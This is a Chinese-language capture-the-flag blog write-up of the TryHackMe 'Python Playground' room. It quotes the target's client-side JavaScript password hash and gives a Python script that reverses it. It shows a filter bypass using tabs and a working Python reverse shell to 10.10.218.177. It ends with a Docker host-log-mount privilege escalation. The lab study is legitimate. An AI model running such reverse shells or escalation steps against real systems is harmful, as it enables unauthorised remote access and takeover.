扫描打点


80扫一下,
signup和login都关了,剩一个admin.html的登录入口有交互这里用burp抓包的话发现没有提交登录的数据包,即登录数据在本地处理了
检查源码找到
js代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49<script>
// I suck at server side code, luckily I know how to make things secure without it - Connor
function string_to_int_array(str){
const intArr = [];
for(let i=0;i<str.length;i++){
const charcode = str.charCodeAt(i);
const partA = Math.floor(charcode / 26);
const partB = charcode % 26;
intArr.push(partA);
intArr.push(partB);
}
return intArr;
}
function int_array_to_text(int_array){
let txt = '';
for(let i=0;i<int_array.length;i++){
txt += String.fromCharCode(97 + int_array[i]);
}
return txt;
}
document.forms[0].onsubmit = function (e){
e.preventDefault();
if(document.getElementById('username').value !== 'connor'){
document.getElementById('fail').style.display = '';
return false;
}
const chosenPass = document.getElementById('inputPassword').value;
const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(chosenPass))));
if(hash === 'dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu'){
window.location = 'super-secret-admin-testing-panel.html';
}else {
document.getElementById('fail').style.display = '';
}
return false;
}
</script>从中拿到用户名和哈希
connor:dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu,以及网址super-secret-admin-testing-panel.html但其实这个值可以轻松逆向得到:
1
2
3
4
5
6
7
8
9
10
11
12
13
14encrypted_text = "dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu"
def text_to_int_array(text):
return [ord(c) - 97 for c in text]
def int_array_to_string(int_arr):
return ''.join(chr(int_arr[i] * 26 + int_arr[i + 1]) for i in range(0, len(int_arr), 2))
encrypted_ints = text_to_int_array(encrypted_text)
temp_text = int_array_to_string(encrypted_ints)
temp_ints = text_to_int_array(temp_text)
password = int_array_to_string(temp_ints)
print("Recovered password:", password)spaghetti1245进去后发现是个在线执行
py的环境
看了下源码,允许
tab键使用:
实验发现空格会被检测,可以用
tab绕过1
2
3
4
5
6import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.218.177",445));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
import pty;
pty.spawn("sh")
失败的
docker逃逸与ssh进去后发现是
root,且没有其他用户,看了下那就是要docker逃逸了
但问题是很多关键词都不能用,还下不到东西

返回来看之前拿到的用户名和密码,
ssh连上去利用
docker内的主机日志目录提权这里这个提权没见过:
在
docker中mount看到
在主机中发现确实有这几个文件
验证一下,在
docker中/mnt/log新建一个独特的文件
即主机的
/var/log就在docker中的/mnt/log而又因为docker是root,即可以将主机的
bash复制过去,用docker提权,再用connor运行即可,大概过程长这样:
THM打靶日寄64-Python Playground
- 本文链接: http://noone40404.github.io/2025/02/20/THM打靶日寄64:Python Playground/
 - 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!